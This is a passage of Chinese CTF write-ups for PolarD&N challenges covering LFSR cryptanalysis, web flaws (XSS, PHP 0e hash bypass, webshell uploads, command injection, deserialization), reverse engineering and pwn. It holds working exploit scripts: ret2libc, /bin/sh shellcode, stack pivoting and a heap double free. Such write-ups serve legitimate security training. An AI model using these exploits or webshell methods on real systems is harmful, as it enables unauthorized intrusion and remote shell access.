| 0 | 0 | 0 | 0 |
| 0 | 0 | 1 | 1 |
| 0 | 1 | 0 | 0 |
| 0 | 1 | 1 | 0 |
| 1 | 0 | 0 | 0 |
| 1 | 0 | 1 | 1 |
| 1 | 1 | 0 | 1 |
| 1 | 1 | 1 | 1 |
观察到
-
Geffe 的输出与 x1相同的概率为 3/4
-
Geffe 的输出与 x2 相同的概率为 1/2
-
Geffe 的输出与 x3 相同的概率为 3/4
-
这说明输出与第一个和第三个的关联性非常大。 因此,我们可以暴力去枚举第一个和第三个 LFSR 的输出判断其与 类 Geffe 的输出相等的个数,如果大约在 75% 的话,就可以认为是正确的。第二个就直接暴力枚举了,R1和R3可以单独通过correlation attack[关联攻击 - 维基百科,自由的百科全书]求出来,最后再用brute force[蛮力攻击 - 维基百科,自由的百科全书]找出R2
三、exp
def LFSR(R, mask):
output = (R << 1) & 0xffffff
i = (R & mask) & 0xffffff
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
output ^= lastbit
return output, lastbit
def Fx1x2x3(R1, R1_mask, R2, R2_mask, R3, R3_mask):
R1_NEW, x1 = LFSR(R1, R1_mask)
R2_NEW, x2 = LFSR(R2, R2_mask)
R3_NEW, x3 = LFSR(R3, R3_mask)
output = (x1 * x2) ^ ((x2 ^ 1) * x3)
return R1_NEW, R2_NEW, R3_NEW, output
n3 = 21
n2 = 22
n1 = 21
R1_mask = 0x20010
R2_mask = 0x8002c
R3_mask = 0x200004
def guess(beg, end, num, mask):
ansn = range(beg, end)
with open('./output/0', 'rb') as f:
data = f.read(num)
data = ''.join(bin(byte)[2:].zfill(8) for byte in data)
now = 0
res = 0
for i in ansn:
r = i
cnt = 0
for j in range(num * 8):
r, lastbit = LFSR(r, mask)
lastbit = str(lastbit)
cnt += (lastbit == data[j])
if cnt > now:
now = cnt
res = i
print(now, res)
return res
def bruteforce2(x, z):
with open('./output/0', 'rb') as f:
data = f.read(50)
data = ''.join(bin(byte)[2:].zfill(8) for byte in data)
for y in range(pow(2, n2 - 1), pow(2, n2)):
R1, R2, R3 = x, y, z
flag = True
for i in range(len(data)):
(R1, R2, R3, out) = Fx1x2x3(R1, R1_mask, R2, R2_mask, R3, R3_mask)
if str(out) != data[i]:
flag = False
break
if y % 10000 == 0:
print('now: ', x, y, z)
if flag:
print('ans: ', hex(x)[2:], hex(y)[2:], hex(z)[2:])
break
R1 = guess(pow(2, n1 - 1), pow(2, n1), 40, R1_mask)
print(R1)
R3 = guess(pow(2, n3 - 1), pow(2, n3), 40, R3_mask)
print(R3)
# R1 = 1225459
# R3 = 1613986
#
# bruteforce2(R1, R3)
先求出R1、R3,在蛮力求解R2,最后结果得到flag

WEB PolarD&N_CTF_来个弹窗
一、题目信息
根据题目名称和题目信息可知,本题主要考查xss漏洞,需要我们实现命令弹窗
二、解题过程
尝试输入,发现无输入数据,猜测可能过滤script

尝试双写绕过,发现成功实现弹窗,点击确定后跳转出一张图片

根据提示,图片中人物是白金之星,对其进行md5加密即可

flag{dbd65172f0a14c279bc461cd0185c70a}
WEB PolarD&N_CTF_0e事件
一、查看题目信息
查看题目界面,告诉我们用参数a传入

二、解题
我们可以先尝试输入:

它提示输入有误
通过题目提示“0e”可以猜测本题是让我们通过$a==$md5($a)的校验。
漏洞原理是:php在处理hash字符串的时候,会将每个以0e开头的哈希值解释为0,那么php会认为他们相等
字符串格式:0e开头,后面都是数字,不包含其他字符
那我们上网搜索一些相关的字符串就可以了

WEB PolarD&N_CTF_投喂2.0
一、题目信息
1.进入网页首先看到是一个文件上传
二、解题思路
1.上传木马文件获取权限。
三、解题步骤
1.简单尝试上传木马,发现无论前端还是后端都对php进行了过滤。
2.将木马上传进网页,发现都能上传成功并且回显了上传目录,访问一下后发现木马正常运行。
3.用蚁剑连接木马,进去就能看到flag。
WEB PolarD&N_CTF_background
一、题目分析
查看网站页面,只有个BackGround按钮,尝试点击发现页面背景进行了更换,并且在提交按钮旁出现了I wail do it!字样,其他位置无任何信息,尝试进行抓包。

二、解题过程
对网站进行抓包,发现通过POST传入了b和q两个参数,b=echo、q=I+will+do+it%EF%BC%81,确认两个传参关系

尝试修改参数d=cat&p=/flag,得到flag内容

flag{cc59f02fd69119d043f8b06d0ab3eb3f}
WEB PolarD&N_CTF_bllbl_rce
一、查看题目信息
一个命令执行,刚开始无论输入什么都是no

二、题目分析
先扫描目录试试,发现admin.php

查看一下,发现可以下载源码


需要输入bllbl字符串才可以去执行命令,所以构造命令
ls / && bllbl

然后输入
cat /flag && bllbl
WEB PolarD&N_CTF_xCsMsD
一、题目分析

进入本题页面是一个注册和登录的界面,可以任意的注册用户。

注册成功后进行登录,跳转到XSS与CMD的转换窗口。
二、解题步骤
在XSS执行窗口执行alert()语句,可以正常的实现弹窗。


读取cookie:


发现URL编码随即进行解码:

解码后的内容如下:
' '->'-', '\'->'/'
CMD窗口执行命令可发现以下内容:

查看当前位置:

提取当前目录下的文件进行查看:

发现无法读取,推测过滤了命令或字符,联想刚刚解码的内容,猜测可以用'-'代替空格,用'\'代替'/'。
换一个命令再读一下:

成功读取到文件中的内容。
查找flag所在的位置,由于'-'会被替换成空格,无法使用find / -name flag*进行查找,只能逐个目录查看。



找到flag在根目录,进行读取:

WEB PolarD&N_CTF_复读机RCE
一、题目分析
根据题目名称和提示信息分析,题目考查RCE远程命令执行,尝试使用find等命令,发现无法显示
二、解题过程
根据提示信息,尝试执行命令发现只能使用echo命令



尝试使用echo命令写入一句话木马的php文件,尝试使用蚁剑工具链接

连接成功,目录发现flag.txt文件

flag{12400320-EBCD-D827-09A8-B0D909863DB7}
WEB PolarD&N_CTF_狗黑子CTF变强之路
一、题目信息
进入后是个网址
二、题目分析
随便点进去,发现有文件包含漏洞,可以利用文件包含漏洞以及base64的伪协议

三、解题步骤
1.随便点击,可以看到有?page=miji.php,发现有文件包含漏洞

2.使用dirsearch扫描发现存在目标

3.访问进去,没有什么提示,可以用伪协议文件包含,查看admin.php的源码


4.从代码中得到了账号密码,

5.成功进去了,

6.将gougougou.php也进行伪协议,读取内容


7.对代码进行审计,发现#$gou7=Z291MnsxN30uZ291MXs4fS5nb3U0ezR9LmdvdTV7MTJ9KCRnb3U0LiRnb3U1LiRnb3U2KQ==;是base64加密,对它进行解密

8.对代码审核一下,补缺漏洞,同时第二行的变量$gou1里面有个\v,它会变成一个特殊的符号,会将\v两个字符串变成一个,所以我们将\修改成一个没有没有意义的符号,比如">",

9.得到了密文,使用base64解密发现是一句话木马


10.使用蚁剑连接,得到flag


WEB PolarD&N_CTF_小白说搜集很重要
一、题目分析

题目给了登录窗口,通过点击发现不可注册账户,不可找回密码。
进行信息收集:
通过wappalyzer可以看到本题由php语言编写。
使用dirsearch对目录进行爆破:

推测此处存在上传路径,依次去访问状态为200的目录,可访问的路径有flag.php为一段提示、users.json为一段登录备份。


任选一组账密登录进入用户界面。

不过发现这里为普通用户的工作台,下方任务列表中提示寻找管理员界面。管理员账密的爆破需要手动收集常见的管理员用户名和符合身份信息的登录密码。
首先找一个较完整的用户名字典

再根据用户工作台的社工密码生成器,生成一个密码本。根据flag.php的描述,可以填一下内容生成字典。

下面进行抓包爆破即可。

成功得到管理员账户密码:sysadmin/xiaobai

二、解题
根据描述左侧三个模块均可以获得flag。
1.命令执行:find / * -name flag* -> cat /flag 
2.文件上传:上传一句话木马,使用蚁剑连接即可。


根目录找到flag。
3.反序列化EXP如下。(题目的工作目录下也有exp文件,在命令执行细心发现也可以辅助练习该模块,不过注意flag在根目录)
<?php
class Boss {
public $king;
function __destruct() {
$this->funnn();
}
function funnn() {
$this->king->close();
}
}
class Staff {
public $man;
function close() {
eval($this->man);
}
}
if (isset($_GET['data'])) {
$user_data = unserialize($_GET['data']);
}
$staff = new Staff();
$staff->man = 'system("cat flag");';
$boss = new Boss();
$boss->king = $staff;
$serialized_data = serialize($boss);
echo $serialized_data;
?>

WEB PolarD&N_CTF_椰子树晕淡水鱼
一、查看题目信息
题目界面给出三个可点击按钮,点击会进行不同的跳转。

提示页面为一首藏头诗,猜测这里存在文件包含漏洞。

放松界面没找到可用信息。

关于界面没找到可用信息。
在点击按钮多次后发现,url处发生了变化,分别对应着三个按钮。这里有包含了服务端的文件。![]()
![]()
![]()
二、解题
首先使用目录扫描工具对url进行扫描得到以下结果

此处存在可疑的admin.php,password以及uploads,猜测可能存在登录窗口,密码以及上传窗口。
首先访问password查看,下载得到了一个password.zip文件,解压存在密码,暴力破解得到了解压密码,得到了一个密码本。

访问admin.php,发现是一个登录界面,可以使用bp爆破用户名和密码。

这里发现了长度明显不同的一条数据

登录成功来到了上传入口界面

先任意上传文件,发现只能上传图片类型的文件。

可以上传php一句话木马抓包修改文件类型对其进行绕过


获得了上传的路径。
使用蚁剑进行连接:

最终在根目录得到flag。

REVERSE PolarD&N_CTF_reserve_fib
一、查看题目信息
先对题目进行查壳,发现无壳,使用vc编写的x64软件

放入IDA进行查看(F5查看伪代码)

二、解题思路
对代码进行审计,发现该伪代码是将字符串进行ASCLL码转换,然后进行对n的斐波那契计算,最后遍历输出得到flag
我们这时利用hint,发现询问国庆节放假几天,可知n=3.即斐波那契数列的项数
这里我们进行程序编码

输出得到字符串wobuxiangjiaban,进行MD5加密获得
flag{53df60e8501f97c55f53a78a4bed5ac6}
REVERSE PolarD&N_CTF_openwrt
一、查看题目
拿到题目是一个openwrt的固件系统镜像img文件,再没有其他信息了。
二、分析题目
题目应该是在固件系统内尝试触发输出flag或者是直接寻找到flag。
三、解题步骤
1.将固件镜像用binwalk提取一下,得到系统文件。


2.因为题目说是openwrt固件,所以考虑到了是否存在额外的自定义包,查看一下。

3.在固件程序包的文件夹内,有一个明显不是原有包的文件,查看后找到包的程序目录。


4.在包的程序目录找到执行脚本,执行后得到flag。


flag:flag{38f15cee4cdb204de5ca6a9373b73603}
REVERSE PolarD&N_CTF_aomo
一、查看题目
拿到题目,是一个安装包,安装后可以看到一堆文本文件,推测是垃圾文件,还有一个可执行文件和一个图片资源,应该是通过这个程序获得flag。

二、分析题目
打开程序是一个桌宠,可以跟他发消息,推测是输入固定消息可以得到flag。

三、解题步骤
1.首先查看程序可知,是用python编写用PyInstaller打包的程序,使用PyInstaller反编译工具尝试查看源码,先编译成pyc。

2.将pyc编译成py代码,可以看到源码只是进行了加密解密和执行代码的操作。


3.源码中使用了from cryptography.fernet import Fernet,说明了加密方式,同时在源码中指明了密钥文件,在配置文件中找到key。

4.根据加密方式以及key来编写解密脚本。

from cryptography.fernet import Fernet
with open("7XdJjIn.txt", "rb") as key_file:
loaded_key = key_file.read()
loaded_cipher_suite = Fernet(loaded_key)
encrypted_data = b'...'//此处省略密文
decrypted_data = loaded_cipher_suite.decrypt(encrypted_data)
print(f"Decrypted: {decrypted_data.decode()}")
5.解密后的到程序源码,发现当输入特定值“糖果”时,会输出flag,打开程序输入糖果得到flag。



flag:flag{e013db5722b4f71a8d374a2cbe6b8d9d}
REVERSE PolarD&N_CTF_ReverseGame
一、题目信息
-
下载题目文件,发现是一个安卓的apk文件程序。

-
打开程序,发现是一个登录界面

二、题目分析
二、题目分析
-
尝试输入一些内容点击登录,发现回显报错无法登录


-
使用MT管理器打开该app







-
查看这几个classse文件



-
使用搜索功能,尝试搜索刚才的报错信息
The phone number or verification code cannot be empty


-
我们通过分析这段代码,发现这是对登录界面输入进行的判断,我们尝试直接删除这部分的if判断,保存并退出




-
我们删除if判断后安装新apk,进入登录界面直接点击login即可跳过判断直接成功登录


-
我们尝试点击各个按钮,发现game1 2 3 4 都没有用,点击System Information可以跳转到一个系统信息界面
-
我们使用jadx查看该apk,查看,发现一个$onUnlockHiddenGame,我们搜索查看相关代码,分析代码发现点击10次系统信息即可解锁隐藏游戏


-
我们点击10次系统版本,发现弹出解锁隐藏游戏

-
我们返回,发现多了一个hidden game,点击查看发现是一个小游戏界面,点一次Increase Balance就加1Balance,而购买flag需要2025.2025个Balance,显然直接点是行不通的



-
再次老方法搜一下报错信息

-
接下来依旧是删除if的方法,上边的if和下边的if(其实正常应该是通过修改Balance数值实现的,但是这样更简单)


-
接下来点击hidden game,发现直接跳过了购买过程,进入到获取flag界面,我们得到一串字符串,提示我们
Congratulations! You have got the key of the flag : a_sd.9/1m2)d]_+=
-
我们在jadx中搜索该密钥字符串,发现一串加密字符串,可能是被加密后的flag,而我们需要用得到这个密钥去解密flag

-
我们找到decryptFlag的函数,仿照写出解密脚本

-
解密脚本例
-
from Crypto.Cipher import AES
import base64
def decrypt_data(encrypted_data, key):
# 将密钥转为字节
key = key.encode('utf-8')# 将加密数据分割成 IV 和加密内容
iv_base64, encrypted_data_base64 = encrypted_data.split(':')# 解码 IV 和加密数据
iv = base64.b64decode(iv_base64)
encrypted_data = base64.b64decode(encrypted_data_base64)
# 初始化 AES CBC 模式解密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 解密数据
decrypted_data = cipher.decrypt(encrypted_data)
# 去除填充的部分
padding_length = decrypted_data[-1]
decrypted_data = decrypted_data[:-padding_length]
# 解码并返回解密后的字符串
return decrypted_data.decode('utf-8')# 测试
key = 'a_sd.9/1m2)d]_+=' # 与加密时相同的密钥
encrypted_data = "ii5pccS1mAt2A0kpVV64zA==:C8Vw3Xoy7DYBbhHawxOVqIeqmZvSRchgcrvZygwEgDIS99DDCeXYFqysLSLJ4g3Q" # 填入你的加密数据
decrypted = decrypt_data(encrypted_data, key)
print("Decrypted Data:", decrypted) -
解密得出flag

REVERSE PolarD&N_CTF_Snake 2025
一、题目信息
-
将程序文件拖至exeinfo中查看,发现是一个MEW 11 SE加壳的32位程序。

-
点开程序,发现是一个贪吃蛇游戏,通过W S A D进行移动

-
使用UnMEW130对程序进行脱壳

-
使用exeinfo pe进行查看发现成功脱壳

-
使用64位ida_pro,将程序打开,shift+f12查看字符串,发现flag字样,双击跟进查看,发现flag部分函数,由于加壳加密过程使代码难以看懂,但是大致能看出来是对flag进行了一个复杂加密的保护过程;



-
双击跟进score字样的字符串,发现部分内容,有关于分数判定


-
我们锁定flag字符串进行一个逆向追踪,双击跟进到该字符串对应的伪代码部分,使用视图的打开子试图中的函数调用功能,进行溯源,不断双击跟进重复这一操作,我们来到一个if判断的伪代码位置,由此我们可以分析得知2025是一个触发flag的条件。




-
按tab查看汇编界面,点7e9h按下h键转换进制,确认为2025的代码位置,尝试通过修改汇编语言——跳转指令-jnz改为jz以获得flag

-
使用keypatch插件进行修改


修改后应用该补丁


-
我们打开修改后的程序,发现flag直接显示在游戏界面下方

REVERSE PolarD&N_CTF_解码器
1.运行给出的程序查看逻辑。

运行后发现给出加密后的消息为\x53\x46\x4e\x58\x58\x4a\x26\x5b\x57\x29\x56\x50\x53\x52\x5c\x53。猜测为十六进制形式数据。
2.将可执行文件放入ida中查看源码。

分析源码发现有可疑函数encrypt,双击跟进查看。

分析函数逻辑发现,该函数为加密函数,将输入的内容进行加密,逻辑为output[i] = (input[i] + i) % 127。
3.根据加密逻辑和密文构造逆向工程,编写解密程序。
#include <stdio.h>
#include <string.h>
void decrypt(char *input, char *output, int length) {
for (int i = 0; i < length; ++i) {
int value = input[i] - i;
// 因为C语言中的 % 运算符可能返回负数,所以需要将其转换为正数
while (value < 32) value += 95; // 127 - 32
output[i] = value % 127;
// 确保字符是可打印的
if (output[i] < 32) output[i] += 95;
}
}
int main() {
// 这里应当使用实际的加密消息输入
// 加密消息为 "`\x53\x46\x4e\x58\x58\x4a\x26\x5b\x57\x29\x56\x50\x53\x52\x5c\x53`"
char encrypted_message[] = "`\x53\x46\x4e\x58\x58\x4a\x26\x5b\x57\x29\x56\x50\x53\x52\x5c\x53`";
// 计算加密消息的长度
int length = strlen(encrypted_message);
// 分配足够的内存以存储解密后的消息
char decrypted_message[100];
// 执行解密操作
decrypt(encrypted_message, decrypted_message, length);
// 确保字符串以 '\0' 结尾
decrypted_message[length] = '\0';
// 打印解密后的消息
printf("解密后的消息:%s\n", decrypted_message);
return 0;
}
该解密程序的逻辑是根据加密程序中的逻辑运算进行逆向操作,将密文反向操作后破解加密前的明文。
4.运行解密程序,得到明文。

得到解密后的明文为:SELUTE TO LEGEND。对明文进行32位MD5加密即可得到最终flag。
PWN PolarD&N_CTF_koi
一、查看题目信息
$file pwn1
$checksec pwn1

二、漏洞分析
1.查看main()函数,无问题。
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+5Ch] [rbp-4h] BYREF
init(argc, argv, envp);
v4 = 0;
printf("choose your challenge\n:");
puts("1.write shell");
puts("2.use shell");
puts("3.exif");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
wrshell();
break;
case 2:
usshell();
break;
case 3:
exif();
break;
}
puts("Enter a:");
__isoc99_scanf("%d", &v4);
if ( v4 == 520 && n == 520 )
{
puts("GOOD");
xxx();
}
else
{
puts("Bless you");
}
return 0;
}
2.查看wrshell()函数,发现栈溢出,溢出8字节。
int wrshell()
{
int v1; // [rsp+8h] [rbp-58h] BYREF
int v2; // [rsp+Ch] [rbp-54h] BYREF
char buf[80]; // [rsp+10h] [rbp-50h] BYREF
v2 = 0;
v1 = 0;
puts("Enter number:");
__isoc99_scanf("%d", &v1);
printf("size:");
__isoc99_scanf("%d", &v2);
puts("Enter sehll:");
read(0, buf, 0x58uLL);
return puts("success");
}
3.查看usshell()函数,无异常。
int usshell()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF
v1 = 0;
puts("Enter number:");
__isoc99_scanf("%d", &v1);
return puts("Successfully used");
}
4.查看exif()函数,无异常。
__int64 exif()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF
v1 = 0;
printf("Enter n:");
return __isoc99_scanf("%d", &v1);
}
5.查看xxx()函数,存在栈溢出,可以泄露puts。
ssize_t xxx()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts("Welcome to Polar CTF!\n");
return read(0, buf, 0x150uLL);
}
三、解题思路
1.先进入wr函数,将rbp的地址迁移到参数n的地址加0x4。
2.回到main()函数传入参数520。
3.进入xxx()函数,泄露puts()地址,构造payload。
四、编写脚本
1.传入参数1,进入wrshell()。

2.传入两个任意整数参数,再更改rbp的地址。
r.sendline(b'1')
r.sendline(b'1')
r.sendline(b'1')
payload=b'a'*(0x50)+p64(n_addr+0x4)
3.回到main()函数,这时传入520,两个参数的值就都是520。
r.sendline(b'520')
4.通过在xxx()函数中泄露puts()地址,构造system('/bin/sh')。
elf=ELF("./pwn1")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
rdi_addr=0x400a63
payload=b'a'*(0x50+8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(xxx_addr)
r.sendline(payload)
puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
base=puts_addr-0x06f6a0
sys_addr=base+0x0453a0
bin_sh_addr=base+0x18ce57
payload=b'a'*(0x50+8)+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
r.sendline(payload)
五、EXP
from pwn import *
r=process('./pwn1')
context(log_level='debug',arch='amd64',os='linux')
n_addr=0x60108c
r.sendline(b'1')
r.sendline(b'1')
r.sendline(b'1')
payload=b'a'*(0x50)+p64(n_addr+0x4)
r.sendline(payload)
r.recv()
r.sendline(b'520')
r.recv()
xxx_addr=0x4009ce
elf=ELF("./pwn1")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
rdi_addr=0x400a63
payload=b'a'*(0x50+8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(xxx_addr)
r.sendline(payload)
puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
base=puts_addr-0x06f6a0
sys_addr=base+0x0453a0
bin_sh_addr=base+0x18ce57
payload=b'a'*(0x50+8)+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
r.sendline(payload)
r.interactive()
PWN PolarD&N_CTF_bllbl_shellcode_2
一、查看题目信息
file pwn1
checksec pwn1

什么保护都没开。
二、漏洞分析
将程序放到ida pro里分析,查看main()函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
yichu();
return 0;
}
init()函数:
int init()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0);
puts("ok");
puts(asc_402031);
return printf("/bin/sh");
}
yichu()函数:
ssize_t yichu()
{
char buf[5]; // [rsp+Bh] [rbp-5h] BYREF
printf("addr1:%p\n", buf);
puts(asc_402060);
return read(0, buf, 0x1BuLL);
}
泄露了buf的地址。,然后有一个栈溢出利用点。
reg()函数:有汇编指令
void reg()
{
__asm { jmp rsp }
}
三、解题思路
-
先接收泄露的地址;
-
构造
shellcode写入栈; -
利用汇编指令执行
shellcode,拿到shell。
四、编写脚本
先把泄露的buf地址接收:
io.recvuntil("0x")
buf_addr = int(io.recv(12),16)

然后找一下sh地址,

写一下汇编指令:
shellcode = asm("""
mov al, 0x3b
mov esi, edi
mov edi, 0x402047;
mov edx, esi
syscall
""")
接着写payload。
shellcode += p64(jmp_rsp)
shellcode += asm("sub rsp,0x15;jmp rsp")
现在jmp_rsp会执行下面的asm("sub rsp,0x15;jmp rsp"),然后rsp会减0x15,去执行刚刚的shellcode。

会执行这个shellcode。
五、EXP
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 1
if local == 1:
io=process('./pwn1')
#gdb.attach(io,"b * 0x00040074D")
#gdb.attach(r,"b * malloc")
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('1.13.251.106',8000)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn1')
io.recvuntil("0x")
buf_addr = int(io.recv(12),16)
#io.recvuntil("0x")
#bss_addr = int(io.recv(12),16)
success("buf_addr >>> 0x%x" % buf_addr)
io.recv()
jmp_rsp = 0x0000401380
binsh = 0x00000402047
sh_addr = hex(buf_addr + 19)
#success("yichu_addr >>> 0x%x" % yichu_addr)
shellcode = asm("""
mov al, 0x3b
mov esi, edi
mov edi, 0x402047;
mov edx, esi
syscall
""")
print("shellcode1:",len(shellcode))
#pause()
shellcode += p64(jmp_rsp)
shellcode += asm("sub rsp,0x15;jmp rsp")
print("----------\nall:",len(shellcode))
#gdb.attach(io, "b *0x401344")
io.sendline(shellcode)
#pause()
io.interactive()
PWN PolarD&N_CTF_bllhl_mom
一、查看题目信息
$ file bllhl_mom
$ checksec bllhl_mom

程序开启了nx保护和canary保护
二、漏洞分析
将程序放到ida pro里分析,查看main()函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts(a);
printf("Mom would have been happy to know you worked so hard, so she gave you this /bin/s h.");
mom();
return 0;
}
主函数调用了init()函数和mom()函数,然后输出俩句话,没有发现问题。
查看init()函数:
int init()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
alarm(0);
return 0;
}
函数进行了初始化操作,没有发现问题。
再查看mom()函数:
int mom()
{
char buf; // [esp+8h] [ebp-50h]
unsigned int v2; // [esp+4Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("Write a few words to Mom");
read(0, &buf, 5u);
printf(&buf);
read(0, &buf, 0x58u);
printf("%s", &buf);
read(0, &buf, 0x58u);
printf("%s", &buf);
return 0;
}
发现mom函数存在栈溢出,却只溢出8个字节,做不到函数跳转,所以我们只能栈迁移。
接下来查看一下字符串,shift + F12:

发现有system函数 ,也有一个坏的/bin/sh,所以这个/bin/sh是不能用的。
三、解题思路
1.首先找到canary的位置,通过格式化字符串泄露出canary的地址绕过canary保护。
2.通过第二个printf泄露出ebp的地址,实现栈迁移。
3.最后调用system()函数并写入/bin/sh构造payload。
4,getshell。
四、编写脚本
首先找到canary的位置,泄露canary的地址。
进行gdb调试:

在第一个printf那下一个断点,之后运行程序,到输入的地方输入4个a,之后反编译mom函数。

通过汇编代码我们知道,只在最后一次输入之后进行了一次canary的比较,并且canary的地址是ebp-0xc。

找到canary的地址之后查看栈。

发现canary是第0x17位,就是第23位,即发送%23$p即可泄露canary的地址。
之后我们要找到system的地址和leave ret的地址。

printf会将&buf打印出来,如果我们正好输入0x50个字节,那么printf会把后面的ebp的值也打印出来,这就泄漏了ebp,我们就可以根据相应的偏移来定位栈的位置。
首先泄露ebp的值:
payload1 = b'a'*(18*4)+b'a'*6+b'ZZ'
io.send(payload1)
io.recvuntil('ZZ')
ebp_addr = u32(io.recvuntil(b'\xff')[-4:])
s_addr = ebp_addr - 0x60
sh_addr = s_addr +0x10
print ('ebp_addr >> ' + hex(ebp_addr))

泄漏出ebp的值后,还需要计算一下相对的偏移。这个偏移长度是从开始输入的位置到ebp的长度。
用gdb调试一下:

所以偏移是0xffffcfb8 - 0xffffcf58 = 0x60
接下来就可以构造第二次输入的payload了:

最后记得计算前面构造字符长度,然后把canary的地址放在canary的位置上绕过canary保护:
payload2 = b'aaaa'+p32(system_addr)+b'aaaa'+p32(sh_addr) +b'/bin/sh\x00'+b'a'*(11*4)+p32(canary)+b'a'*8+p32(s_addr)+p32(leave_ret)
b'aaaa'+p32(system_addr)+b'aaaa'+p32(sh_addr) +b'/bin/sh\x00' 一共是24个字节,然后canary在第17 * 4个字节,所以还需要11 * 4个字节的a,最后还需要3 * 4个字节的a进行填充。最后写上输入的地址和leave ret的地址就可以getshell了。
五、EXP
from pwn import*
io =process('./bllhl_mom')
context(log_level="debug",os="linux")
system_addr = 0x08048490
leave_ret = 0x08048538
io.recv()
io.send('%23$p')
io.recvuntil('0x')
canary = int(io.recv(8),16)
print("canary>>>"+hex(canary))
io.recv()
payload1 = b'a'*(18*4)+b'a'*6+b'ZZ'
io.send(payload1)
io.recvuntil('ZZ')
ebp_addr = u32(io.recvuntil(b'\xff')[-4:])
s_addr = ebp_addr - 0x60
sh_addr = s_addr +0x10
print ('ebp_addr >> ' + hex(ebp_addr))
payload2 = b'aaaa'+p32(system_addr)+b'aaaa'+p32(sh_addr) +b'/bin/sh\x00'+b'a'*(11*4)+p32(canary)+b'a'*8+p32(s_addr)+p32(leave_ret)
io.send(payload2)
io.interactive()
PWN PolarD&N_CTF_bll_ezheap1
一、查看题目信息
file pwn1
checksec pwn1

二、漏洞分析
将程序放到ida pro里分析,查看main()函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
menu();
switch ( Num() )
{
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
break;
}
}
}
然后看add_chunk(),没什么异常。
void __cdecl add_chunk()
{
int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]
puts("you can add one");
puts("index:");
index = Num();
puts("size:");
size = Num();
chunk_list[index] = (char *)malloc(size);
}
然后看delete_chunk(),存在UAF漏洞,可以对其进行利用。
void __cdecl delete_chunk()
{
int index; // [rsp+Ch] [rbp-4h]
puts("index:");
index = Num();
free(chunk_list[index]);
puts("yes");
}
然后看edit_chunk(),普通的编辑函数。
void __cdecl edit_chunk()
{
int index; // [rsp+8h] [rbp-8h]
int length; // [rsp+Ch] [rbp-4h]
puts("please edit it");
puts("index:");
index = Num();
puts("length:");
length = Num();
puts("content:");
read(0, chunk_list[index], length);
}
然后看show_chunk(),只是打印内容。
void __cdecl show_chunk()
{
int index; // [rsp+Ch] [rbp-4h]
puts("this is show time ");
puts("index:");
index = Num();
puts(chunk_list[index]);
}
三、解题思路
-
先泄露
libc基址; -
构造
double free漏洞,申请__malloc_hook; -
修改为
one_gadget,最后调用hook提权。
四、编写脚本
先泄露libc基址。
add_chunk(0, 0x420)
add_chunk(1, 0x10)
delete_chunk(0)
add_chunk(0, 0x420)

现在申请出的堆块,fd和bk的位置都是指向libc的位置,调用打印函数获得泄露的值。

通过减法得到偏移,获得了libc的基址。
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4b78
构造double free。
add_chunk(0, 0x68)
add_chunk(1, 0x68)
delete_chunk(0)
delete_chunk(1)
delete_chunk(0)

然后把__malloc_hook的地址写进去。
add_chunk(0, 0x68)
edit_chunk(0, p64(libc.sym["__malloc_hook"] -0x23))


把0x7f当做size,为了绕过fast bin的保护,如果size不是在0x70的bin中,那么就会报错,所以要寻找一个合适的值,那么0x7f就正好合适,一般也是选取0x7f,通常也是选__malloc_hook - 0x23的位置。
然后咱们把__malloc_hook申请出来。
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
然后寻找libc的one_gadget。
one_gadget libc.so.6

编辑一下chunk,然后调用hook,交互。
one = libc.address + [0x45226, 0x4527a,0xf03a4,0xf1247][3]
edit_chunk(0, b"\x00" * 0x13 + p64(one))
add_chunk(1, 1)
p.interactive()
五、EXP
from pwn import *
elf = ELF("./pwn1")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os="linux")
context.log_level = 'debug'
p = process([elf.path])
#p = remote("120.46.59.242", 2083)
def add_chunk(index, size):
p.sendafter("choice:", b"1")
p.sendafter("index:", str(index))
p.sendafter("size:", str(size))
def delete_chunk(index):
p.sendafter("choice:", b"2")
p.sendafter("index:", str(index))
def edit_chunk(index, content):
p.sendafter("choice:", b"3")
p.sendafter("index:", str(index))
p.sendafter("length:", str(len(content)))
p.sendafter("content:", content)
def show_chunk(index):
p.sendafter("choice:", b"4")
p.sendafter("index:", str(index))
def gbd_():
gdb.attach(p)
pause()
add_chunk(0, 0x420)
add_chunk(1, 0x10)
delete_chunk(0)
add_chunk(0, 0x420)
